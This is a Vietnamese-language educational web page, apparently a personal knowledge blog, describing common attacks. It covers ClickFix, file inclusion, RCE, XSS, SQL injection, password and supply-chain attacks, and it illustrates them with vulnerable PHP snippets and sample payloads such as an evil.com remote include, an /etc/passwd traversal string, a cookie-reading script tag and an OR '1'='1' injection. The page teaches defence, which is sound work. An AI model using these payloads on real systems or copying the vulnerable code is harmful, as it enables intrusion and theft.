ClickFix là một hình thức tấn công kỹ nghệ xã hội, trong đó kẻ lừa đảo lợi dụng tâm lý muốn nhanh chóng xử lý sự cố của người dùng. Đầu tiên, chúng tạo ra cảm giác an toàn giả tạo bằng cách chèn các bước xác minh quen thuộc như captcha. Tiếp theo, kẻ tấn công hiển thị thông báo lỗi hoặc lời nhắc giả mạo để hướng nạn nhân “khắc phục sự cố”. Người dùng bị dẫn dụ mở cửa sổ Run của Windows, sau đó sao chép và dán các lệnh được cung cấp. Thực chất, các lệnh này tải và chạy phần mềm độc hại, khiến hệ thống rơi vào sự kiểm soát của kẻ tấn công. Nói cách khác, ClickFix khiến nạn nhân tưởng mình đang sửa lỗi, nhưng thực tế lại tự tay mở cửa cho mã độc xâm nhập.
Tài liệu tham khảo
Lỗ hổng File Inclusion (FI) đề cập đến khả năng kẻ tấn công chèn một tệp được tạo ra từ máy chủ từ xa (có thể là của kẻ tấn công) hoặc khả năng truy cập/chèn một tệp cục bộ vốn không được phép truy cập nếu không có sự uỷ quyền hợp lệ. Lỗ hổng này xảy ra do dữ liệu đầu vào của người dùng được sử dụng trực tiếp làm tên tệp hoặc việc sử dụng các biến chưa được khởi tạo trong các thao tác tệp. Hãy xem xét đoạn mã sau:
include($_GET['file']); //remote file inclusion possibility
Một cuộc tấn công có thể thực hiện tấn công chèn tệp bằng cách sử dụng các giá trị sau:
/include.php?file=http://evil.com/malicious.php
Cuộc tấn công này khiến chương trình PHP dễ bị tấn công include và thực thi một tệp PHP độc hại, có thể gây ra các hành vi nguy hiểm cho chương trình. Các lệnh PHP tương tự có thể gây ra lỗ hổng FI bao gồm include_once, require và require_once. Hơn nữa, lỗ hổng FI cũng có thể xuất hiện với các hoạt động PHP liên quan đến truy cập tệp và thao tác tệp, trong đó kẻ tấn công có thể xem các tệp bị hạn chế, hoặc thậm chí thực thi các lệnh độc hại trên máy chủ web, có thể dẫn đến xâm nhập toàn bộ hệ thống. Ví dụ, hãy xem xét đoạn mã sau:
$handle = fopen($_GET['newPath'], "r"); //local root file access possibility
Trong trường hợp trên, đầu vào newPath được nhận từ tham số HTTP GET. Kẻ tấn công có thể cung cấp một giá trị như
newPath!"../../../../../etc/passwd%00.txt"
để truy cập tệp mật khẩu từ hệ thống tệp. Biểu thức '(../)' hướng dẫn hệ thống đi lên một thư mục. Kẻ tấn công phải đoán xem hắn phải đi lên bao nhiêu thư mục để tìm thư mục bí mật của người dùng trên hệ thống, nhưng điều này có thể dễ dàng thực hiện bằng cách thử và sai. Lưu ý rằng lỗ hổng này được gọi là "directory traversal", nhưng chúng tôi nhóm lỗ hổng này cùng với FI vì nó cũng có thể được xem là một lỗi chèn tệp cục bộ.
Tài liệu tham khảo
1. L. K. Shar, L. C. Briand and H. B. K. Tan, "Web Application Vulnerability Prediction Using Hybrid Program Analysis and Machine Learning," in IEEE Transactions on Dependable and Secure Computing, vol. 12, no. 6, pp. 688-707, 1 Nov.-Dec. 2015, doi: 10.1109/TDSC.2014.2373377,
Lỗ hổng Remote Code Execution (RCE) đề cập đến khả năng kẻ tấn công thực thi mã chương trình tùy ý trên máy chủ mục tiêu. Lỗi này xảy ra do người dùng nhập dữ liệu vào các hàm nhạy cảm về bảo mật như lệnh gọi hệ thống tệp (ví dụ: fwrite), hàm thực thi mã (ví dụ: eval), hàm thực thi lệnh hệ điều hành (ví dụ: system) và hàm tạo thư mục (ví dụ: mkdir). Nó cho phép kẻ tấn công từ xa thực thi mã tùy ý trong hệ thống với quyền quản trị viên. Đây là một lỗ hổng cực kỳ nguy hiểm, có thể khiến trang web bị tấn công bằng nhiều hình thức, từ xóa dữ liệu độc hại đến thay đổi giao diện web. Đoạn mã sau mô tả một lỗ hổng RCE.
$comments = $_POST['comments'];
$log = fopen('comments.php','a');
fwrite($log,'<br /><br /><center>Comments::<br />' . $comments); //remote code execution possibility
Đoạn mã trên sẽ truy xuất các bình luận của người dùng và ghi lại chúng mà không cần kiểm tra. Điều này có nghĩa là kẻ tấn công có thể thực thi các yêu cầu độc hại, từ việc thu thập thông tin đơn giản bằng phpinfo() đến các cuộc tấn công phức tạp nhằm chiếm đoạt shell trên máy chủ dễ bị tấn công bằng shell_exec().
Các hàm và thao tác PHP nhạy cảm khác liên quan đến loại lỗ hổng này bao gồm header, preg_replace() với bộ điều chỉnh "/e", fopen, vassert, create_function, unserialize, $_GET['func_name'] và $_GET['argument'].
Tài liệu tham khảo
1. L. K. Shar, L. C. Briand and H. B. K. Tan, "Web Application Vulnerability Prediction Using Hybrid Program Analysis and Machine Learning," in IEEE Transactions on Dependable and Secure Computing, vol. 12, no. 6, pp. 688-707, 1 Nov.-Dec. 2015, doi: 10.1109/TDSC.2014.2373377,
Lỗ hổng Cross Site Scripting (XSS) phát sinh khi dữ liệu đầu vào của người dùng được sử dụng trong các câu lệnh xuất HTML mà không quan kiểm tra hoặc thoát ký tự đúng cách. Nó cho phép kẻ tấn công thực thi các tập lệnh trên trình duyệt của nạn nhân, có thể chiếm quyền điều khiển phiên làm việc của người dùng, làm thay đổi giao diện trang web hoặc chuyển hướng người dùng đến các trang web độc hại. Hãy xem xét đoạn mã sau:
echo Welcome. $_GET['new_user']; //client script injection possibility
Vì tham số đầu vào $_GET không được kiểm tra nên có thể thực hiện một cuộc tấn công XSS bằng cách cung cấp cho tham số new_user các giá trị sau:
<script>alert(document.cookie);</script>
Khi trình duyệt của nạn nhân thực thi tập lệnh do máy chủ gửi, nó sẽ hiển thị giá trị cookie của người dùng mới thay vì thông tin người dùng dự định. Sử dụng một tập lệnh độc hại hơn, việc chuyển hướng đến máy chủ của kẻ tấn công cũng có thể xảy ra và thông tin nhạy cảm của người dùng có thể bị chuyển hướng. Giống như echo, bất kỳ cấu trúc ngôn ngữ hoặc hàm nào khác như print tạo ra đầu ra HTML đều có thể gây ra XSS.
Tài liệu tham khảo
1. L. K. Shar, L. C. Briand and H. B. K. Tan, "Web Application Vulnerability Prediction Using Hybrid Program Analysis and Machine Learning," in IEEE Transactions on Dependable and Secure Computing, vol. 12, no. 6, pp. 688-707, 1 Nov.-Dec. 2015, doi: 10.1109/TDSC.2014.2373377,
Lỗ hổng SQL Injection (SQLI) xảy ra khi dữ liệu đầu vào của người dùng được sử dụng trong các câu lệnh truy vấn cơ sở dữ liệu mà không được kiểm tra đúng cách. Điều này cho phép kẻ tấn công đánh lừa trình thông dịch truy vấn thực thi các lệnh không mong muốn hoặc truy cập dữ liệu trái phép. Hãy xem xét đoạn mã sau:
mysql_query("SELECT * FROM user WHERE uid='".$_GET['id']."'") //foreign SQL commands inclusion possibility
Vì tính hợp lệ của tham số đầu vào $_GET không được kiểm tra, nên một cuộc tấn công SQLI có thể được thực hiện bằng cách cung cấp id tham số với các giá trị sau:
/login.php?id=xxx'+OR+'1'%3D'1
Truy vấn trở thành SELECT * FROM user WHERE uid= 'xxx' OR '1'= '1'. Về cơ bản, cuộc tấn công thay đổi ngữ nghĩa của truy vấn thành SELECT * FROM user, cho phép kẻ tấn công truy cập trái phép vào bảng user. Giống như mysql_query, bất kỳ hàm tích hợp sẵn nào khác của ngôn ngữ lập trình tương tác với cơ sở dữ liệu như mysql_execute đều có thể gây ra lỗi SQLI.
Tài liệu tham khảo
1. L. K. Shar, L. C. Briand and H. B. K. Tan, "Web Application Vulnerability Prediction Using Hybrid Program Analysis and Machine Learning," in IEEE Transactions on Dependable and Secure Computing, vol. 12, no. 6, pp. 688-707, 1 Nov.-Dec. 2015, doi: 10.1109/TDSC.2014.2373377,
Tấn công giả mạo (Spoof Attack) là hình thức tấn công trong đó kẻ tấn công thay đổi địa chỉ nguồn của gói tin nhằm đánh lừa hệ thống, khiến gói tin có vẻ như đến từ một nguồn đáng tin cậy.
Mục tiêu của loại tấn công này thường là để vượt qua các cơ chế bảo mật như tường lửa, hệ thống phát hiện xâm nhập hoặc để đánh cắp thông tin, chiếm quyền truy cập trái phép vào hệ thống mạng.
Tràn bộ đệm (Buffer Overflow) là một hình thức tấn công trong đó kẻ tấn công gửi nhiều dữ liệu hơn mức mà một ứng dụng dự kiến có thể xử lý.
Cuộc tấn công tràn bộ đệm thường dẫn đến việc kẻ tấn công chiếm được quyền truy cập quản trị (administrator) vào hệ thống thông qua giao diện dòng lệnh hoặc shell.
Tấn công mật khẩu (Password Attack) là hình thức tấn công trong đó kẻ tấn công cố gắng bẻ khóa các mật khẩu được lưu trữ trong cơ sở dữ liệu tài khoản mạng hoặc trong các tập tin được bảo vệ bằng mật khẩu. Có ba loại tấn công mật khẩu chính: tấn công từ điển, tấn công vét cạn và tấn công kết hợp.
Tấn công từ điển sử dụng một tập tin danh sách từ (word list) chứa các mật khẩu tiềm năng.
Tấn công vét cạn (brute-force) là khi kẻ tấn công thử mọi tổ hợp ký tự có thể cho đến khi tìm được mật khẩu đúng.
Tấn công kết hợp (hybrid attack) là sự kết hợp giữa hai phương pháp trên, sử dụng danh sách từ và thêm các biến thể như số hoặc ký tự đặc biệt.
Đặc biệt, khi kẻ tấn công là người nội bộ trong Mạng nội bộ trường học (Campus Network), các cuộc tấn công mật khẩu trở nên nguy hiểm hơn đối với an ninh mạng.
Tấn công phân tán (Distributed Attack) là hình thức tấn công trong đó kẻ tấn công đưa mã độc — do những sinh viên hoặc giảng viên có kỹ năng về máy tính cố ý lập trình — như mã trojan hoặc chương trình cửa hậu (backdoor), vào một thành phần hoặc phần mềm đáng tin cậy. Thành phần hoặc phần mềm này sau đó sẽ được phân phối đến nhiều công ty và người dùng khác.
Tấn công phân tán tập trung vào việc sửa đổi độc hại phần cứng hoặc phần mềm trong quá trình phân phối. Những cuộc tấn công này cài cắm mã độc, chẳng hạn như cửa hậu, vào sản phẩm nhằm chiếm quyền truy cập trái phép vào thông tin hoặc chức năng hệ thống tại một thời điểm sau đó.
Tấn công tiếp cận gần (Close-in Attack) là hình thức tấn công trong đó kẻ tấn công cố gắng tiếp cận vật lý gần với các thành phần mạng, dữ liệu hoặc hệ thống nhằm thu thập thông tin về mạng. Những cuộc tấn công này thường do các cá nhân bình thường thực hiện, bằng cách tiếp cận trực tiếp với mạng, hệ thống hoặc cơ sở vật lý để sửa đổi, thu thập hoặc ngăn chặn quyền truy cập vào thông tin.
Việc tiếp cận gần có thể đạt được thông qua việc xâm nhập lén lút, tiếp cận tự do, hoặc kết hợp cả hai. Trong môi trường như mạng nội bộ của các cơ sở giáo dục, nơi mà một số thiết bị mạng và phòng thí nghiệm mạng thường xuyên mở cửa cho sinh viên và giảng viên sử dụng, nguy cơ xảy ra tấn công tiếp cận gần là cao hơn.
Web lưu trữ kiến thức cá nhân đã tham khảo và thấy hữu ích cho người đọc. Các bạn có thể đóng góp bài viết qua địa chỉ: dzokha1010@gmail.com
